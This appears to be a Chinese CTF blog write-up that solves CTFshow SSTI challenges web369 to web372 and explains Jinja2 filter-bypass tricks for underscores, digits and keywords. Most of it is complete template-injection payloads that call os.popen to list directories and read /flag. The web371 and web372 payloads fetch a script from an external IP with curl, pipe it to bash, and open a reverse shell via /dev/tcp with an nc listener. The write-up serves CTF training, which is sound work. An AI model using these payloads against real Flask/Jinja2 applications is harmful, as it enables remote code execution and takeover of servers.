CTFSHOW SSTI web369-web372 拼接绕过

3 篇文章 0 订阅
1 篇文章 0 订阅

知识点:

()|select|string
结果如下
<generator object select_or_reject at 0x0000022717FF33C0>
(()|select|string)[24]~
(()|select|string)[24]~
(()|select|string)[15]~
(()|select|string)[20]~
(()|select|string)[6]~
(()|select|string)[18]~
(()|select|string)[18]~
(()|select|string)[24]~
(()|select|string)[24]

得到字符串"__class__"

中括号被过滤后
用pop

(()|select|string|list).pop(0)

这个一般用来获得_下划线

2.

2. dict(__clas=a,s__=b)|join
3. 得到__class__

3.构造数字

{% set cc=(dict(ee=a)|join|count)%}
{% set cc=(dict(ee=a)|join|length)%}
从而cc=2

在jinja2里面可以利用~进行拼接

{%set a='__cla' %}{%set b='ss__'%}{{""[a~b]}}  --> {{""['__class__']}}
{% set cc=(dict(ee=a)|join|length)%}
{% set cccc=(dict(eeee=a)|join|length)%}{% set coun=(cc~cccc)|int%}  -->  coun=24
快速得到一个数值

还有一种是用index构建

利用lipsum|select|string|list , cc=(lipsum|select|string|list).index('list里的[2]')
思路是这样,构建肯定比这个要麻烦一些的,,,,

[********************************************************************]

然后一些思路
我一般获取这样的东西的思路是2个,要么利用config|string,要么利用()|select|string,还有lipsum|select|string。当然了,一般会想着先弄到数字。数字的思路大概也是2个,要么利用内置的过滤器count或者length,要么用index。这题过滤了count和length,我考虑用index来得到数字(当然,用unicode的话就变得非常简单了,不过我只讲一下不利用unicode的思路)

web369

测试后_下划线被过滤了
然后看一下有啥可以用的

?name={%print%20lipsum|select|string|list%}

在这里插入图片描述
然后直接构建找到_,然后数字又被过滤了咋搞呢
然后没有过滤数字还是很简单的

?name={%print%20(lipsum|select|string|list).pop(24)%}
得到_下划线
{%set%20xiahua=(lipsum|select|string|list).pop(24)%}
{%set gb=(xiahua,xiahua,dict(glo=a,bals=a)|join,xiahua,xiahua)|join%}
{%set gm=(xiahua,xiahua,dict(ge=a,titem=a)|join,xiahua,xiahua)|join%}
{%set oo=dict(o=a,s=a)|join%}
{%set pp=dict(po=a,pen=a)|join%}
{%set shell=dict(l=a,s=a)|join%}
{%print (lipsum|attr(gb)|attr(gm)(oo)|attr(pp)(shell)).read()%}

这样写记得read前面加个总的括号,因为你后面相当于调用了有个函数,然后前面括起来为一体。

或者这样

{%set%20xiahua=(lipsum|select|string|list).pop(24)%}
{%set gb=(xiahua,xiahua,dict(glo=a,bals=a)|join,xiahua,xiahua)|join%}
{%set gm=(xiahua,xiahua,dict(ge=a,titem=a)|join,xiahua,xiahua)|join%}
{%set oo=dict(o=a,s=a)|join%}
{%set pp=dict(po=a,pen=a)|join%}
{%set shell=dict(l=a,s=a)|join%}
{%print lipsum|attr(gb)|attr(gm)(oo)|attr(pp)(shell)|attr(dict(re=a,ad=a)|join)()%}

得到回显 app.py

但是有个问题就是,像斜杠,反斜杠,空格这样的特殊字符list里没有,然后如果要命令执行的话,又是不可缺少的,所以可以用chr来构建
有了chr和数字,就相当于这题对你没有任何过滤了,任何字符你都可以构造出来了

lipsum.__globals__['__builtins__'].chr
{%set%20xiahua=(lipsum|select|string|list).pop(24)%}
{%set gb=(xiahua,xiahua,dict(glo=a,bals=a)|join,xiahua,xiahua)|join%}
{%set gm=(xiahua,xiahua,dict(ge=a,titem=a)|join,xiahua,xiahua)|join%}
{%set bl=(xiahua,xiahua,dict(builtins=a)|join,xiahua,xiahua)|join%}
{%print (lipsum|attr(gb)|attr(gm)(bl)).chr%}

得到chr函数
构造得到空格,和斜杠

{%set%20xiahua=(lipsum|select|string|list).pop(24)%}
{%set gb=(xiahua,xiahua,dict(glo=a,bals=a)|join,xiahua,xiahua)|join%}
{%set gm=(xiahua,xiahua,dict(ge=a,titem=a)|join,xiahua,xiahua)|join%}
{%set bl=(xiahua,xiahua,dict(builtins=a)|join,xiahua,xiahua)|join%}
{%set chcr=(lipsum|attr(gb)|attr(gm)(bl)).chr%}
{%set oo=dict(o=a,s=a)|join%}
{%set pp=dict(po=a,pen=a)|join%}
{%set space=chcr(32)%}
{%set xiegang=chcr(47)%}
{%set shell=(dict(ls=a)|join,space,xiegang)|join%}
{%print lipsum|attr(gb)|attr(gm)(oo)|attr(pp)(shell)|attr(dict(re=a,ad=a)|join)()%}

得到更目录文件

最后读/flag得到flag

{%set%20xiahua=(lipsum|select|string|list).pop(24)%}
{%set gb=(xiahua,xiahua,dict(glo=a,bals=a)|join,xiahua,xiahua)|join%}
{%set gm=(xiahua,xiahua,dict(ge=a,titem=a)|join,xiahua,xiahua)|join%}
{%set bl=(xiahua,xiahua,dict(builtins=a)|join,xiahua,xiahua)|join%}
{%set chcr=(lipsum|attr(gb)|attr(gm)(bl)).chr%}
{%set oo=dict(o=a,s=a)|join%}
{%set pp=dict(po=a,pen=a)|join%}
{%set space=chcr(32)%}
{%set xiegang=chcr(47)%}
{%set shell=(dict(cat=a)|join,space,xiegang,dict(flag=a)|join)|join%}
{%print lipsum|attr(gb)|attr(gm)(oo)|attr(pp)(shell)|attr(dict(re=a,ad=a)|join)()%}

web370

跟上一题就是多了过滤数字
直接给payload吧

{% set c=(dict(e=a)|join|count)%}
{% set cc=(dict(ee=a)|join|count)%}
{% set ccc=(dict(eee=a)|join|count)%}
{% set cccc=(dict(eeee=a)|join|count)%}
{% set ccccccc=(dict(eeeeeee=a)|join|count)%}
{% set cccccccc=(dict(eeeeeeee=a)|join|count)%}
{% set ccccccccc=(dict(eeeeeeeee=a)|join|count)%}
{% set cccccccccc=(dict(eeeeeeeeee=a)|join|count)%}
{%set xiahua=(lipsum|select|string|list).pop((cc~cccc)|int)%}
{%set gb=(xiahua,xiahua,dict(glo=a,bals=a)|join,xiahua,xiahua)|join%}
{%set gm=(xiahua,xiahua,dict(ge=a,titem=a)|join,xiahua,xiahua)|join%}
{%set bl=(xiahua,xiahua,dict(builtins=a)|join,xiahua,xiahua)|join%}
{%set chcr=(lipsum|attr(gb)|attr(gm)(bl)).chr%}
{%set oo=dict(o=a,s=a)|join%}
{%set pp=dict(po=a,pen=a)|join%}
{%set space=chcr((ccc~cc)|int)%}
{%set xiegang=chcr((cccc~ccccccc)|int)%}
{%set shell=(dict(cat=a)|join,space,xiegang,dict(flag=a)|join)|join%}
{%print lipsum|attr(gb)|attr(gm)(oo)|attr(pp)(shell)|attr(dict(re=a,ad=a)|join)()%}

web 371

过滤了print,就不能直接看回显就很烦,首先我们还是构建下划线
但是没有回显怎么知道下划线是list的第几个呢,一般是第25个,然后是从0开始,也就是我们构建时pop里是24
然后构建lipsum.__globals__

{% set c=(dict(e=a)|join|count)%}
{% set cc=(dict(ee=a)|join|count)%}
{% set ccc=(dict(eee=a)|join|count)%}
{% set cccc=(dict(eeee=a)|join|count)%}
{% set ccccccc=(dict(eeeeeee=a)|join|count)%}
{% set cccccccc=(dict(eeeeeeee=a)|join|count)%}
{% set ccccccccc=(dict(eeeeeeeee=a)|join|count)%}
{% set cccccccccc=(dict(eeeeeeeeee=a)|join|count)%}
{%set xiahua=(lipsum|select|string|list).pop((cc~cccc)|int)%}
{%set gb=(xiahua,xiahua,dict(glo=a,bals=a)|join,xiahua,xiahua)|join%}
{%set zzz=lipsum|attr(gb)%}
{%if zzz%}abc{%endif%}

如果返回abc说明zzz是对的,也就是下划线是对的,如果下划线不是24,就可以直接,改pop里的东西,写个脚本跑。也就是你想判断对错的时候可以想一下用if来判断

然后还是一样构造,我这个就构造的curl反弹shell

{% set c=(dict(e=a)|join|count)%}
{% set cc=(dict(ee=a)|join|count)%}
{% set ccc=(dict(eee=a)|join|count)%}
{% set cccc=(dict(eeee=a)|join|count)%}
{% set ccccc=(dict(eeeee=a)|join|count)%}
{% set cccccc=(dict(eeeeee=a)|join|count)%}
{% set ccccccc=(dict(eeeeeee=a)|join|count)%}
{% set cccccccc=(dict(eeeeeeee=a)|join|count)%}
{% set ccccccccc=(dict(eeeeeeeee=a)|join|count)%}
{% set cccccccccc=(dict(eeeeeeeeee=a)|join|count)%}
{%set xiahua=(lipsum|select|string|list).pop((cc~cccc)|int)%}
{%set gb=(xiahua,xiahua,dict(glo=a,bals=a)|join,xiahua,xiahua)|join%}
{%set gm=(xiahua,xiahua,dict(ge=a,titem=a)|join,xiahua,xiahua)|join%}
{%set bl=(xiahua,xiahua,dict(builtins=a)|join,xiahua,xiahua)|join%}
{%set chcr=(lipsum|attr(gb)|attr(gm)(bl)).chr%}
{%set oo=dict(o=a,s=a)|join%}
{%set pp=dict(po=a,pen=a)|join%}
{%set space=chcr((ccc~cc)|int)%}
{%set xiegang=chcr((cccc~ccccccc)|int)%}
{%set dian=chcr((cccc~cccccc)|int)%}
{%set an=chcr((ccc~cccccccc)|int)%}
{%set henxian=chcr((cccc~ccccc)|int)%}
{%set dayu=chcr((ccccc~cc)|int)%}
{%set shuxain=chcr((c~cc~cccc)|int)%}
{%set shell=(dict(curl=a)|join,space,cccc,ccccccc,dian,ccccccccc,ccc,dian,cc,cccc,cccccccc,dian,cccc,cccc,xiegang,dict(ba=a,sh=a)|join,dian,dict(html=a)|join,shuxain,dict(ba=a,sh=a)|join)|join%}
{%set zzz=lipsum|attr(gb)|attr(gm)(oo)|attr(pp)(shell)|attr(dict(re=a,ad=a)|join)()%}

把bash命令写入bash.html文件
bash -i >& /dev/tcp/47.93.248.44/7777 0>&1

然后监听bash.html里的端口
nc -lvvp 7777
然后执行
curl 47.93.248.44/bash.html|bash就可以了

web 372

禁了count,把上题的payload换length就可以了

{% set c=(dict(e=a)|join|length)%}
{% set cc=(dict(ee=a)|join|length)%}
{% set ccc=(dict(eee=a)|join|length)%}
{% set cccc=(dict(eeee=a)|join|length)%}
{% set ccccc=(dict(eeeee=a)|join|length)%}
{% set cccccc=(dict(eeeeee=a)|join|length)%}
{% set ccccccc=(dict(eeeeeee=a)|join|length)%}
{% set cccccccc=(dict(eeeeeeee=a)|join|length)%}
{% set ccccccccc=(dict(eeeeeeeee=a)|join|length)%}
{% set cccccccccc=(dict(eeeeeeeeee=a)|join|length)%}
{%set xiahua=(lipsum|select|string|list).pop((cc~cccc)|int)%}
{%set gb=(xiahua,xiahua,dict(glo=a,bals=a)|join,xiahua,xiahua)|join%}
{%set gm=(xiahua,xiahua,dict(ge=a,titem=a)|join,xiahua,xiahua)|join%}
{%set bl=(xiahua,xiahua,dict(builtins=a)|join,xiahua,xiahua)|join%}
{%set chcr=(lipsum|attr(gb)|attr(gm)(bl)).chr%}
{%set oo=dict(o=a,s=a)|join%}
{%set pp=dict(po=a,pen=a)|join%}
{%set space=chcr((ccc~cc)|int)%}
{%set xiegang=chcr((cccc~ccccccc)|int)%}
{%set dian=chcr((cccc~cccccc)|int)%}
{%set an=chcr((ccc~cccccccc)|int)%}
{%set henxian=chcr((cccc~ccccc)|int)%}
{%set dayu=chcr((ccccc~cc)|int)%}
{%set shuxain=chcr((c~cc~cccc)|int)%}
{%set shell=(dict(curl=a)|join,space,cccc,ccccccc,dian,ccccccccc,ccc,dian,cc,cccc,cccccccc,dian,cccc,cccc,xiegang,dict(ba=a,sh=a)|join,dian,dict(html=a)|join,shuxain,dict(ba=a,sh=a)|join)|join%}
{%set zzz=lipsum|attr(gb)|attr(gm)(oo)|attr(pp)(shell)|attr(dict(re=a,ad=a)|join)()%}
{%if zzz%}abc{%endif%}
  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值